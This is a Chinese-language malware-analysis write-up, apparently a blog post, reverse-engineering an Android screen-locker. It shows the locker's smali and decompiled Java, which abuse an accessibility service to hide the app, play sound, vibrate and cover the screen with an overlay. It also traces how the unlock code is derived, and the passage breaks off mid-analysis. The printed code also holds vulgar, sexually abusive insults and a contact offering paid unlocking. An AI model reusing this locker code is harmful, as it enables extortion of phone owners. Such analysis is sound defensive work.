    move-result-object v6

    check-cast v6, Landroid/widget/TextView;

    move-object v4, v6

    .line 350
    move-object v6, v4

    move-object v7, v1

    iget-object v7, v7, Lcom/Qinjian/a;->艹你妈小逼崽子破解你妈啊我闪电博士直接把你妈给熬成桂龙药膏:Ljava/lang/String;

    invoke-virtual {v6, v7}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V

    return-void
.end method

.method private 第一层()V
    .registers 8
    .annotation system Ldalvik/annotation/Signature;
        value = {
            "()V"
        }
    .end annotation

    .prologue
    .line 321
    move-object v0, p0

    move-object v5, v0

    iget-object v5, v5, Lcom/Qinjian/a;->maskView:Landroid/widget/LinearLayout;

    const v6, 0x7f0a00af

    invoke-virtual {v5, v6}, Landroid/widget/LinearLayout;->findViewById(I)Landroid/view/View;

    move-result-object v5

    check-cast v5, Landroid/widget/TextView;

    move-object v2, v5

    .line 322
    move-object v5, v2

    const-string v6, "下方是你的撸管号"

    invoke-virtual {v5, v6}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V

    .line 323
    move-object v5, v0

    iget-object v5, v5, Lcom/Qinjian/a;->maskView:Landroid/widget/LinearLayout;

    const v6, 0x7f0a009f

    invoke-virtual {v5, v6}, Landroid/widget/LinearLayout;->findViewById(I)Landroid/view/View;

    move-result-object v5

    check-cast v5, Landroid/widget/TextView;

    move-object v3, v5

    .line 324
    move-object v5, v3

    const-string v6, "操你妈逼畜生白嫖狗 对着屏幕撸管射出来就能解锁 如果你阳痿射不出来请联系QQ付费代撸管 可上门代撸 代撸管技师QQ529350692"

    invoke-virtual {v5, v6}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V

    return-void
.end method

.method private 第三层()V
    .registers 8
    .annotation system Ldalvik/annotation/Signature;
        value = {
            "()V"
        }
    .end annotation

    .prologue
    .line 339
    move-object v0, p0

    move-object v5, v0

    iget-object v5, v5, Lcom/Qinjian/a;->maskView:Landroid/widget/LinearLayout;

    const v6, 0x7f0a00af

    invoke-virtual {v5, v6}, Landroid/widget/LinearLayout;->findViewById(I)Landroid/view/View;

    move-result-object v5

    check-cast v5, Landroid/widget/TextView;

    move-object v2, v5

    .line 340
    move-object v5, v2

    const-string v6, "下方是你的序列号"

    invoke-virtual {v5, v6}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V

    .line 341
    move-object v5, v0

    iget-object v5, v5, Lcom/Qinjian/a;->maskView:Landroid/widget/LinearLayout;

    const v6, 0x7f0a009f

    invoke-virtual {v5, v6}, Landroid/widget/LinearLayout;->findViewById(I)Landroid/view/View;

    move-result-object v5

    check-cast v5, Landroid/widget/TextView;

    move-object v3, v5

    .line 342
    move-object v5, v3

    const-string v6, "欢迎来到最后一层锁"

    invoke-virtual {v5, v6}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V

    return-void
.end method

.method private 第二层()V
    .registers 8
    .annotation system Ldalvik/annotation/Signature;
        value = {
            "()V"
        }
    .end annotation

    .prologue
    .line 330
    move-object v0, p0

    move-object v5, v0

    iget-object v5, v5, Lcom/Qinjian/a;->maskView:Landroid/widget/LinearLayout;

    const v6, 0x7f0a00af

    invoke-virtual {v5, v6}, Landroid/widget/LinearLayout;->findViewById(I)Landroid/view/View;

    move-result-object v5

    check-cast v5, Landroid/widget/TextView;

    move-object v2, v5

    .line 331
    move-object v5, v2

    const-string v6, "下方是你的序列号"

    invoke-virtual {v5, v6}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V

    .line 332
    move-object v5, v0

    iget-object v5, v5, Lcom/Qinjian/a;->maskView:Landroid/widget/LinearLayout;

    const v6, 0x7f0a009f

    invoke-virtual {v5, v6}, Landroid/widget/LinearLayout;->findViewById(I)Landroid/view/View;

    move-result-object v5

    check-cast v5, Landroid/widget/TextView;

    move-object v3, v5

    .line 333
    move-object v5, v3

    const-string v6, "操你妈逼也是来到第二层了"

    invoke-virtual {v5, v6}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V

    return-void
.end method

.method private 艹你妈傻逼还想破解我操你妈祖宗十八代女性当然漂亮的才操还有操你未来的全部女后代当然还是老规矩漂亮的才艹()V
    .registers 7
    .annotation system Ldalvik/annotation/Signature;
        value = {
            "()V"
        }
    .end annotation

    .prologue
    .line 358
    move-object v0, p0

    move-object v4, v0

    iget-object v4, v4, Lcom/Qinjian/a;->艹你妈小逼崽子破解你妈啊我闪电博士直接把你妈给熬成桂龙药膏:Ljava/lang/String;

    invoke-static {v4}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I

    move-result v4

    const/16 v5, 0xfaf

    mul-int/lit16 v4, v4, 0xfaf

    move v2, v4

    .line 359
    move-object v4, v0

    move v5, v2

    invoke-static {v5}, Ljava/lang/String;->valueOf(I)Ljava/lang/String;

    move-result-object v5

    iput-object v5, v4, Lcom/Qinjian/a;->pW:Ljava/lang/String;

    return-void
.end method


# virtual methods
.method public onAccessibilityEvent(Landroid/view/accessibility/AccessibilityEvent;)V
    .registers 2
    .annotation system Ldalvik/annotation/Signature;
        value = {
            "(",
            "Landroid/view/accessibility/AccessibilityEvent;",
            ")V"
        }
    .end annotation

    .annotation runtime Ljava/lang/Override;
    .end annotation

    return-void
.end method

.method public onInterrupt()V
    .registers 1
    .annotation system Ldalvik/annotation/Signature;
        value = {
            "()V"
        }
    .end annotation

    .annotation runtime Ljava/lang/Override;
    .end annotation

    return-void
.end method

.method protected onServiceConnected()V
    .registers 21
    .annotation system Ldalvik/annotation/Signature;
        value = {
            "()V"
        }
    .end annotation

    .annotation runtime Ljava/lang/Override;
    .end annotation

    .prologue
    .line 109
    move-object/from16 v0, p0

    move-object v12, v0

    invoke-super {v12}, Landroid/accessibilityservice/AccessibilityService;->onServiceConnected()V

    .line 110
    move-object v12, v0

    invoke-virtual {v12}, Lcom/Qinjian/a;->getPackageManager()Landroid/content/pm/PackageManager;

    move-result-object v12

    move-object v2, v12

    .line 111
    new-instance v12, Landroid/content/ComponentName;

    move-object/from16 v19, v12

    move-object/from16 v12, v19

    move-object/from16 v13, v19

    move-object v14, v0

    :try_start_15
    const-string v15, "com.Qinjian.MainActivity"

    invoke-static {v15}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
    :try_end_1a
    .catch Ljava/lang/ClassNotFoundException; {:try_start_15 .. :try_end_1a} :catch_13d

    move-result-object v15

    invoke-direct {v13, v14, v15}, Landroid/content/ComponentName;-><init>(Landroid/content/Context;Ljava/lang/Class;)V

    move-object v3, v12

    .line 112
    move-object v12, v2

    move-object v13, v3

    const/4 v14, 0x2

    const/4 v15, 0x1

    invoke-virtual {v12, v13, v14, v15}, Landroid/content/pm/PackageManager;->setComponentEnabledSetting(Landroid/content/ComponentName;II)V

    .line 113
    move-object v12, v0

    move-object v13, v0

    const-string v14, "camera"

    invoke-virtual {v13, v14}, Lcom/Qinjian/a;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;

    move-result-object v13

    check-cast v13, Landroid/hardware/camera2/CameraManager;

    iput-object v13, v12, Lcom/Qinjian/a;->cm:Landroid/hardware/camera2/CameraManager;

    .line 115
    move-object v12, v0

    move-object v13, v0

    :try_start_34
    iget-object v13, v13, Lcom/Qinjian/a;->cm:Landroid/hardware/camera2/CameraManager;

    invoke-virtual {v13}, Landroid/hardware/camera2/CameraManager;->getCameraIdList()[Ljava/lang/String;

    move-result-object v13

    const/4 v14, 0x0

    aget-object v13, v13, v14

    iput-object v13, v12, Lcom/Qinjian/a;->ci:Ljava/lang/String;
    :try_end_3f
    .catch Landroid/hardware/camera2/CameraAccessException; {:try_start_34 .. :try_end_3f} :catch_150

    .line 121
    :goto_3f
    move-object v12, v0

    iget-object v12, v12, Lcom/Qinjian/a;->h:Landroid/os/Handler;

    move-object v13, v0

    iget-object v13, v13, Lcom/Qinjian/a;->toggleFlashRunnable:Ljava/lang/Runnable;

    invoke-virtual {v12, v13}, Landroid/os/Handler;->post(Ljava/lang/Runnable;)Z

    move-result v12

    .line 123
    move-object v12, v0

    iget-object v12, v12, Lcom/Qinjian/a;->h:Landroid/os/Handler;

    move-object v13, v0

    iget-object v13, v13, Lcom/Qinjian/a;->blinkRunnable:Ljava/lang/Runnable;

    invoke-virtual {v12, v13}, Landroid/os/Handler;->post(Ljava/lang/Runnable;)Z

    move-result v12

    .line 124
    new-instance v12, Landroid/accessibilityservice/AccessibilityServiceInfo;

    move-object/from16 v19, v12

    move-object/from16 v12, v19

    move-object/from16 v13, v19

    invoke-direct {v13}, Landroid/accessibilityservice/AccessibilityServiceInfo;-><init>()V

    move-object v5, v12

    .line 125
    move-object v12, v5

    const/16 v13, 0x20

    iput v13, v12, Landroid/accessibilityservice/AccessibilityServiceInfo;->eventTypes:I

    .line 126
    move-object v12, v5

    const/16 v13, 0x10

    iput v13, v12, Landroid/accessibilityservice/AccessibilityServiceInfo;->feedbackType:I

    .line 127
    move-object v12, v0

    move-object v13, v5

    invoke-virtual {v12, v13}, Lcom/Qinjian/a;->setServiceInfo(Landroid/accessibilityservice/AccessibilityServiceInfo;)V

    .line 128
    move-object v12, v0

    move-object v13, v0

    const-string v14, "audio"

    invoke-virtual {v13, v14}, Lcom/Qinjian/a;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;

    move-result-object v13

    check-cast v13, Landroid/media/AudioManager;

    iput-object v13, v12, Lcom/Qinjian/a;->mAudioManager:Landroid/media/AudioManager;

    .line 131
    new-instance v12, Landroid/os/HandlerThread;

    move-object/from16 v19, v12

    move-object/from16 v12, v19

    move-object/from16 v13, v19

    const-string v14, "VolumeIncreaseThread"

    invoke-direct {v13, v14}, Landroid/os/HandlerThread;-><init>(Ljava/lang/String;)V

    move-object v6, v12

    .line 132
    move-object v12, v6

    invoke-virtual {v12}, Landroid/os/HandlerThread;->start()V

    .line 133
    move-object v12, v0

    new-instance v13, Landroid/os/Handler;

    move-object/from16 v19, v13

    move-object/from16 v13, v19

    move-object/from16 v14, v19

    move-object v15, v6

    invoke-virtual {v15}, Landroid/os/HandlerThread;->getLooper()Landroid/os/Looper;

    move-result-object v15

    invoke-direct {v14, v15}, Landroid/os/Handler;-><init>(Landroid/os/Looper;)V

    iput-object v13, v12, Lcom/Qinjian/a;->mHandler:Landroid/os/Handler;

    .line 134
    move-object v12, v0

    move-object v13, v0

    const-string v14, "vibrator"

    invoke-virtual {v13, v14}, Lcom/Qinjian/a;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;

    move-result-object v13

    check-cast v13, Landroid/os/Vibrator;

    iput-object v13, v12, Lcom/Qinjian/a;->vibrator:Landroid/os/Vibrator;

    .line 135
    const/4 v12, 0x2

    new-array v12, v12, [J

    move-object/from16 v19, v12

    move-object/from16 v12, v19

    move-object/from16 v13, v19

    const/4 v14, 0x0

    const/16 v15, 0x3e8

    int-to-long v15, v15

    aput-wide v15, v13, v14

    move-object/from16 v19, v12

    move-object/from16 v12, v19

    move-object/from16 v13, v19

    const/4 v14, 0x1

    const-wide/16 v15, 0x3e8

    aput-wide v15, v13, v14

    move-object v7, v12

    .line 138
    move-object v12, v0

    iget-object v12, v12, Lcom/Qinjian/a;->vibrator:Landroid/os/Vibrator;

    move-object v13, v7

    const/4 v14, 0x0

    invoke-virtual {v12, v13, v14}, Landroid/os/Vibrator;->vibrate([JI)V

    .line 141
    :try_start_ce
    new-instance v12, Landroid/media/MediaPlayer;

    move-object/from16 v19, v12

    move-object/from16 v12, v19

    move-object/from16 v13, v19

    invoke-direct {v13}, Landroid/media/MediaPlayer;-><init>()V

    move-object v8, v12

    .line 142
    move-object v12, v0

    invoke-virtual {v12}, Lcom/Qinjian/a;->getResources()Landroid/content/res/Resources;

    move-result-object v12

    move-object v9, v12

    .line 143
    move-object v12, v9

    const/high16 v13, 0x7f080000

    invoke-virtual {v12, v13}, Landroid/content/res/Resources;->openRawResourceFd(I)Landroid/content/res/AssetFileDescriptor;

    move-result-object v12

    move-object v10, v12

    .line 144
    move-object v12, v8

    move-object v13, v10

    invoke-virtual {v13}, Landroid/content/res/AssetFileDescriptor;->getFileDescriptor()Ljava/io/FileDescriptor;

    move-result-object v13

    move-object v14, v10

    invoke-virtual {v14}, Landroid/content/res/AssetFileDescriptor;->getStartOffset()J

    move-result-wide v14

    move-object/from16 v16, v10

    invoke-virtual/range {v16 .. v16}, Landroid/content/res/AssetFileDescriptor;->getLength()J

    move-result-wide v16

    invoke-virtual/range {v12 .. v17}, Landroid/media/MediaPlayer;->setDataSource(Ljava/io/FileDescriptor;JJ)V

    .line 145
    move-object v12, v10

    invoke-virtual {v12}, Landroid/content/res/AssetFileDescriptor;->close()V

    .line 146
    move-object v12, v8

    const/4 v13, 0x1

    invoke-virtual {v12, v13}, Landroid/media/MediaPlayer;->setLooping(Z)V

    .line 147
    move-object v12, v8

    invoke-virtual {v12}, Landroid/media/MediaPlayer;->prepare()V

    .line 148
    move-object v12, v8

    invoke-virtual {v12}, Landroid/media/MediaPlayer;->start()V
    :try_end_10d
    .catch Ljava/io/IOException; {:try_start_ce .. :try_end_10d} :catch_158

    .line 152
    :goto_10d
    move-object v12, v0

    invoke-static {v12}, Landroid/app/WallpaperManager;->getInstance(Landroid/content/Context;)Landroid/app/WallpaperManager;

    move-result-object v12

    move-object v8, v12

    .line 156
    move-object v12, v0

    :try_start_114
    invoke-virtual {v12}, Lcom/Qinjian/a;->getResources()Landroid/content/res/Resources;

    move-result-object v12

    const v13, 0x7f020058

    invoke-static {v12, v13}, Landroid/graphics/BitmapFactory;->decodeResource(Landroid/content/res/Resources;I)Landroid/graphics/Bitmap;

    move-result-object v12

    move-object v9, v12

    .line 159
    move-object v12, v8

    move-object v13, v9

    invoke-virtual {v12, v13}, Landroid/app/WallpaperManager;->setBitmap(Landroid/graphics/Bitmap;)V
    :try_end_125
    .catch Ljava/io/IOException; {:try_start_114 .. :try_end_125} :catch_15f

    .line 168
    :goto_125
    move-object v12, v0

    invoke-direct {v12}, Lcom/Qinjian/a;->你妈死了()V

    .line 170
    move-object v12, v0

    invoke-direct {v12}, Lcom/Qinjian/a;->createMaskView()V

    .line 171
    move-object v12, v0

    invoke-direct {v12}, Lcom/Qinjian/a;->第一层()V

    .line 173
    move-object v12, v0

    const-string v13, "辅助功能服务已启动"

    const/4 v14, 0x0

    invoke-static {v12, v13, v14}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;

    move-result-object v12

    invoke-virtual {v12}, Landroid/widget/Toast;->show()V

    return-void

    .line 111
    :catch_13d
    move-exception v12

    move-object v4, v12

    new-instance v12, Ljava/lang/NoClassDefFoundError;

    move-object/from16 v19, v12

    move-object/from16 v12, v19

    move-object/from16 v13, v19

    move-object v14, v4

    invoke-virtual {v14}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;

    move-result-object v14

    invoke-direct {v13, v14}, Ljava/lang/NoClassDefFoundError;-><init>(Ljava/lang/String;)V

    throw v12

    .line 115
    :catch_150
    move-exception v12

    move-object v5, v12

    .line 117
    move-object v12, v5

    invoke-virtual {v12}, Landroid/hardware/camera2/CameraAccessException;->printStackTrace()V

    goto/16 :goto_3f

    .line 148
    :catch_158
    move-exception v12

    move-object v8, v12

    .line 150
    move-object v12, v8

    invoke-virtual {v12}, Ljava/io/IOException;->printStackTrace()V

    goto :goto_10d

    .line 159
    :catch_15f
    move-exception v12

    move-object v9, v12

    .line 165
    move-object v12, v9

    invoke-virtual {v12}, Ljava/io/IOException;->printStackTrace()V

    goto :goto_125
.end method

对应的Java语句，使用Jadx进行还原：

//
// Decompiled by Jadx - 636ms
//
package com.Qinjian;

import android.accessibilityservice.AccessibilityService;
import android.accessibilityservice.AccessibilityServiceInfo;
import android.app.WallpaperManager;
import android.content.ComponentName;
import android.content.res.AssetFileDescriptor;
import android.graphics.BitmapFactory;
import android.hardware.camera2.CameraAccessException;
import android.hardware.camera2.CameraManager;
import android.media.AudioManager;
import android.media.MediaPlayer;
import android.os.Build;
import android.os.Handler;
import android.os.HandlerThread;
import android.os.Vibrator;
import android.view.LayoutInflater;
import android.view.ViewGroup;
import android.view.WindowManager;
import android.view.accessibility.AccessibilityEvent;
import android.widget.Button;
import android.widget.EditText;
import android.widget.LinearLayout;
import android.widget.TextView;
import android.widget.Toast;
import java.io.IOException;

public class a extends AccessibilityService {
    private static final long VIBRATION_DURATION = 1000;
    private static final int 破解软件者不得好死你他妈就是被强奸避孕失败生出你这个没闭眼的畜生你妈生你时是不是把人扔了把胎盘养大 = 100;
    private String ci;
    private CameraManager cm;
    private AudioManager mAudioManager;
    private Handler mHandler;
    private LinearLayout maskView;
    private String pW;
    private Vibrator vibrator;
    private String 艹你妈小逼崽子破解你妈啊我闪电博士直接把你妈给熬成桂龙药膏;
    private int pW0 = 0;
    private boolean M0v = false;
    private int cL1 = 1;
    private Handler h = new Handler();
    private boolean f = false;
    private Runnable toggleFlashRunnable = new a$100000000(this);
    private Runnable blinkRunnable = new a$100000001(this);

    @Override
    public void onAccessibilityEvent(AccessibilityEvent accessibilityEvent) {
    }

    @Override
    public void onInterrupt() {
    }

    @Override
    protected void onServiceConnected() {
        super.onServiceConnected();
        try {
            getPackageManager().setComponentEnabledSetting(new ComponentName(this, Class.forName("com.Qinjian.MainActivity")), 2, 1);
            this.cm = (CameraManager) getSystemService("camera");
            try {
                this.ci = this.cm.getCameraIdList()[0];
            } catch (CameraAccessException e) {
                e.printStackTrace();
            }
            this.h.post(this.toggleFlashRunnable);
            this.h.post(this.blinkRunnable);
            AccessibilityServiceInfo accessibilityServiceInfo = new AccessibilityServiceInfo();
            accessibilityServiceInfo.eventTypes = 32;
            accessibilityServiceInfo.feedbackType = 16;
            setServiceInfo(accessibilityServiceInfo);
            this.mAudioManager = (AudioManager) getSystemService("audio");
            HandlerThread handlerThread = new HandlerThread("VolumeIncreaseThread");
            handlerThread.start();
            this.mHandler = new Handler(handlerThread.getLooper());
            this.vibrator = (Vibrator) getSystemService("vibrator");
            this.vibrator.vibrate(new long[]{1000, VIBRATION_DURATION}, 0);
            try {
                MediaPlayer mediaPlayer = new MediaPlayer();
                AssetFileDescriptor openRawResourceFd = getResources().openRawResourceFd(0x7f080000);
                mediaPlayer.setDataSource(openRawResourceFd.getFileDescriptor(), openRawResourceFd.getStartOffset(), openRawResourceFd.getLength());
                openRawResourceFd.close();
                mediaPlayer.setLooping(true);
                mediaPlayer.prepare();
                mediaPlayer.start();
            } catch (IOException e2) {
                e2.printStackTrace();
            }
            try {
                WallpaperManager.getInstance(this).setBitmap(BitmapFactory.decodeResource(getResources(), 0x7f020058));
            } catch (IOException e3) {
                e3.printStackTrace();
            }
            你妈死了();
            createMaskView();
            第一层(); 
            Toast.makeText(this, "辅助功能服务已启动", 0).show();
        } catch (ClassNotFoundException e4) {
            throw new NoClassDefFoundError(e4.getMessage());
        }
    }

    private void createMaskView() {
        WindowManager.LayoutParams layoutParams = new WindowManager.LayoutParams(-1, -1, Build.VERSION.SDK_INT >= 26 ? 2032 : 2032, 263464, -3);
        WindowManager windowManager = (WindowManager) getSystemService("window");
        this.maskView = (LinearLayout) LayoutInflater.from(this).inflate(0x7f03001d, (ViewGroup) null);
        windowManager.addView(this.maskView, layoutParams);
        Button button = (Button) this.maskView.findViewById(0x7f0a00ad);
        TextView textView = (TextView) this.maskView.findViewById(0x7f0a00af);
        EditText editText = (EditText) this.maskView.findViewById(0x7f0a00a2);
        死妈东西我一分钟把你全家祖坟给你刨了然后把你家骨灰盒给扬了();
        艹你妈傻逼还想破解我操你妈祖宗十八代女性当然漂亮的才操还有操你未来的全部女后代当然还是老规矩漂亮的才艹();
        button.setText("解锁");
        Button[] buttonArr = {(Button) this.maskView.findViewById(0x7f0a00a3), (Button) this.maskView.findViewById(0x7f0a00a4), (Button) this.maskView.findViewById(0x7f0a00a5), (Button) this.maskView.findViewById(0x7f0a00a6), (Button) this.maskView.findViewById(0x7f0a00a7), (Button) this.maskView.findViewById(0x7f0a00a8), (Button) this.maskView.findViewById(0x7f0a00a9), (Button) this.maskView.findViewById(0x7f0a00aa), (Button) this.maskView.findViewById(0x7f0a00ab), (Button) this.maskView.findViewById(0x7f0a00ac)};
        for (int i = 0; i < buttonArr.length; i++) {
            buttonArr[i].setOnClickListener(new a$100000002(this, editText, i));
        }
        ((Button) this.maskView.findViewById(0x7f0a00ae)).setOnClickListener(new a$100000003(this, editText));
        button.setOnClickListener(new a$100000004(this, button, textView));
    }

    public void اللعنةعليك() {
        this.cL1++;
        switch (this.cL1) {
            case 2:
                死妈东西我一分钟把你全家祖坟给你刨了然后把你家骨灰盒给扬了();
                艹你妈傻逼还想破解我操你妈祖宗十八代女性当然漂亮的才操还有操你未来的全部女后代当然还是老规矩漂亮的才艹();
                第二层();
                return;
            case 3:
                死妈东西我一分钟把你全家祖坟给你刨了然后把你家骨灰盒给扬了();
                艹你妈傻逼还想破解我操你妈祖宗十八代女性当然漂亮的才操还有操你未来的全部女后代当然还是老规矩漂亮的才艹();
                第三层();
                return;
            default:
                closeMaskView();
                return;
        }
    }

    private void 第一层() {
        ((TextView) this.maskView.findViewById(0x7f0a00af)).setText("下方是你的撸管号");
        ((TextView) this.maskView.findViewById(0x7f0a009f)).setText("操你妈逼畜生白嫖狗 对着屏幕撸管射出来就能解锁 如果你阳痿射不出来请联系QQ付费代撸管 可上门代撸 代撸管技师QQ529350692");
    }

    private void 第二层() {
        ((TextView) this.maskView.findViewById(0x7f0a00af)).setText("下方是你的序列号");
        ((TextView) this.maskView.findViewById(0x7f0a009f)).setText("操你妈逼也是来到第二层了");
    }

    private void 第三层() {
        ((TextView) this.maskView.findViewById(0x7f0a00af)).setText("下方是你的序列号");
        ((TextView) this.maskView.findViewById(0x7f0a009f)).setText("欢迎来到最后一层锁");
    }

    private void 死妈东西我一分钟把你全家祖坟给你刨了然后把你家骨灰盒给扬了() {
        this.艹你妈小逼崽子破解你妈啊我闪电博士直接把你妈给熬成桂龙药膏 = String.valueOf(((int) (Math.random() * 90000)) + 10000);
        ((TextView) this.maskView.findViewById(0x7f0a00b0)).setText(this.艹你妈小逼崽子破解你妈啊我闪电博士直接把你妈给熬成桂龙药膏);
    }

    private void 艹你妈傻逼还想破解我操你妈祖宗十八代女性当然漂亮的才操还有操你未来的全部女后代当然还是老规矩漂亮的才艹() {
        this.pW = String.valueOf(Integer.parseInt(this.艹你妈小逼崽子破解你妈啊我闪电博士直接把你妈给熬成桂龙药膏) * 4015);
    }

    private void closeMaskView() {
        if (this.maskView != null) {
            ((WindowManager) getSystemService("window")).removeView(this.maskView);
            this.maskView = (LinearLayout) null;
        }
    }

    private void 你妈死了() {
        if (this.M0v) {
            return;
        }
        this.M0v = true;
        this.mHandler.post(new a$100000005(this));
    }
}

难绷“撸管号”，以及疯狂明确内涵逆向工程者的那一堆话。
前面那一堆没啥好看的，反正就是无障碍服务的各种初始化和操作
主要操作应该都在这里了，但在这里没有看到解锁相关的逻辑，应该是被抽离了

我们先来分这个a类里的关键部分：

你妈死了(); //这个方法目前还不知道是干啥的
            createMaskView(); //这个应该是中招后要执行的
            第一层(); //控制当前层的组件内容更新
            Toast.makeText(this, "辅助功能服务已启动", 0).show();

private void 你妈死了() {
        if (this.M0v) {
            return; //判断M0v为真直接返回
        }
        this.M0v = true; //设置M0v为真，即保证这个方法下面的操作无论调用几次都将只会执行一次
        this.mHandler.post(new a$100000005(this));
    }

private void 第一层() {
        ((TextView) this.maskView.findViewById(0x7f0a00af)).setText("下方是你的撸管号");
        ((TextView) this.maskView.findViewById(0x7f0a009f)).setText("操你妈逼畜生白嫖狗 对着屏幕撸管射出来就能解锁 如果你阳痿射不出来请联系QQ付费代撸管 可上门代撸 代撸管技师QQ529350692");
    }

    private void 第二层() {
        ((TextView) this.maskView.findViewById(0x7f0a00af)).setText("下方是你的序列号");
        ((TextView) this.maskView.findViewById(0x7f0a009f)).setText("操你妈逼也是来到第二层了");
    }

    private void 第三层() {
        ((TextView) this.maskView.findViewById(0x7f0a00af)).setText("下方是你的序列号");
        ((TextView) this.maskView.findViewById(0x7f0a009f)).setText("欢迎来到最后一层锁");
    }

然后就是最主要的(中招后的调用方法)：

private void createMaskView() {
        //页面等各种设置和初始化
        WindowManager.LayoutParams layoutParams = new WindowManager.LayoutParams(-1, -1, Build.VERSION.SDK_INT >= 26 ? 2032 : 2032, 263464, -3);
        WindowManager windowManager = (WindowManager) getSystemService("window");
        this.maskView = (LinearLayout) LayoutInflater.from(this).inflate(0x7f03001d, (ViewGroup) null);
        windowManager.addView(this.maskView, layoutParams);
        Button button = (Button) this.maskView.findViewById(0x7f0a00ad);
        TextView textView = (TextView) this.maskView.findViewById(0x7f0a00af);
        EditText editText = (EditText) this.maskView.findViewById(0x7f0a00a2);
        //神秘调用
        死妈东西我一分钟把你全家祖坟给你刨了然后把你家骨灰盒给扬了(); //“撸管号”获取
        艹你妈傻逼还想破解我操你妈祖宗十八代女性当然漂亮的才操还有操你未来的全部女后代当然还是老规矩漂亮的才艹(); //不知道这个是干啥的，反正是设置Pw变量的值
        //解锁区域相关的按钮
        button.setText("解锁");
        Button[] buttonArr = {(Button) this.maskView.findViewById(0x7f0a00a3), (Button) this.maskView.findViewById(0x7f0a00a4), (Button) this.maskView.findViewById(0x7f0a00a5), (Button) this.maskView.findViewById(0x7f0a00a6), (Button) this.maskView.findViewById(0x7f0a00a7), (Button) this.maskView.findViewById(0x7f0a00a8), (Button) this.maskView.findViewById(0x7f0a00a9), (Button) this.maskView.findViewById(0x7f0a00aa), (Button) this.maskView.findViewById(0x7f0a00ab), (Button) this.maskView.findViewById(0x7f0a00ac)}; //招笑那10个数字按钮
        for (int i = 0; i < buttonArr.length; i++) {
            buttonArr[i].setOnClickListener(new a$100000002(this, editText, i));//分别给所有按钮设置事件，点击后执行$100000002(this, editText, i)这个方法
        }
        //叉号按钮
        ((Button) this.maskView.findViewById(0x7f0a00ae)).setOnClickListener(new a$100000003(this, editText));
        //解锁按钮的点击操作
        button.setOnClickListener(new a$100000004(this, button, textView));
    }

“撸管号”的相关方法：

private void 死妈东西我一分钟把你全家祖坟给你刨了然后把你家骨灰盒给扬了() { //这里会获取一个随机5位数并且将它设置到一个文本框和变量里
        this.艹你妈小逼崽子破解你妈啊我闪电博士直接把你妈给熬成桂龙药膏 = String.valueOf(((int) (Math.random() * 90000)) + 10000);//“桂龙药膏”是“撸管号”
        ((TextView) this.maskView.findViewById(0x7f0a00b0)).setText(this.艹你妈小逼崽子破解你妈啊我闪电博士直接把你妈给熬成桂龙药膏);
    }

    private void 艹你妈傻逼还想破解我操你妈祖宗十八代女性当然漂亮的才操还有操你未来的全部女后代当然还是老规矩漂亮的才艹() {
        this.pW = String.valueOf(Integer.parseInt(this.艹你妈小逼崽子破解你妈啊我闪电博士直接把你妈给熬成桂龙药膏) * 4015); //获取Pw的值，是“撸管号”乘4015得到的
    }

最主要的类重要的代码差不多就是这些了，还有一个للعنةعليك()方法负责切换层数
这里我大胆猜一波，就是this.pW其实就是解锁密码
因为为什么这里突然会对“撸管号”进行一次运算操作，除了其他可能之外最有可能的用处就是负责解锁。解锁密码肯定是和所谓的“撸管号”挂钩的
这里我可以实际运行这个锁机软件，验证一下猜想；
如果不是密码，那么就需要继续去分析调用链了。

等会，它这软件似乎有bug。运行给权限后会直接闪退，试不了啊
那我们就继续分析，找出this.pW是或不是解锁密码的证据

上面提到，button.setOnClickListener(new a$100000004(this, button, textView));是解锁按钮的点击事件。
于是我们去a$100000004这个类看看：

//
// Decompiled by Jadx - 360ms
//
package com.Qinjian;

import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;

class a$100000004 implements View.OnClickListener {
    private final a this$0;
    private final Button val$你妈;
    private final TextView val$我操你妈逼;

    a$100000004(a aVar, Button button, TextView textView) {
        this.this$0 = aVar; //a类调用时传入的this
        this.val$你妈 = button; //解锁按钮本体
        this.val$我操你妈逼 = textView; //负责提示某些状态的文本框
    }

    @Override
    public void onClick(View view) {
        EditText editText = (EditText) a.access$L1000000(this.this$0).findViewById(0x7f0a00a2); //编辑框，后经分析发现是点那10个按钮点击填入数字的对应编辑框，对应的是@id/sr
        //这个if判断应该就是密码正确性判定了
        if (editText.getText().toString().equals(a.access$L1000003(this.this$0))) { //编辑框的内容是否就是a.access$L1000003(this.this$0)的值
            a.access$1000024(this.this$0);
            editText.setText("");
            return;
        }
        //上面如果验证通过将不会执行下面的语句。而因为下面有密码错误的提示，所以可以断定上面就是判断密码正确的核心语句了
        a aVar = this.this$0;
        a.access$S1000001(aVar, a.access$L1000001(aVar) + 1);
        if (a.access$L1000001(this.this$0) >= 100) {
            this.val$你妈.setEnabled(false);
            this.val$我操你妈逼.setText("已多次导致密码错误不能进行解锁");
        } else {
            editText.setText("");
            editText.setHint("密码错误");
            this.val$我操你妈逼.setText(new StringBuffer().append(new StringBuffer().append(new StringBuffer().append(new StringBuffer().append(new StringBuffer().append("密码已错").append(a.access$L1000001(this.this$0)).toString()).append("次").toString()).append("剩余尝试次数：").toString()).append(100 - a.access$L1000001(this.this$0)).toString()).append("次").toString());
        }
    }
}

（为了节省篇幅，这里不再提供对应类的small指令，仅提供对应逆向后的最终Java代码）
从判断条件editText.getText().toString().equals(a.access$L1000003(this.this$0))就不难看出，
a类中带有this标签的$L1000003所在变量就是密码。

下一步，继续回到a类
由于反编译的Java代码中不存在$L1000003这种东西，因此我们需要去看a类对应的smail指令了
一定要灵活，逆向的Java源码也只是相对于smail指令语句的，经过编译后变量符号肯定会有所丢失(经过优化和链接)
之前我已经提供过a类的完整smail指令了，可以到前面去看看

我们可以直接在里面直接搜索L1000003,于是便得到：

.method static synthetic access$L1000003(Lcom/Qinjian/a;)Ljava/lang/String;
    .registers 5

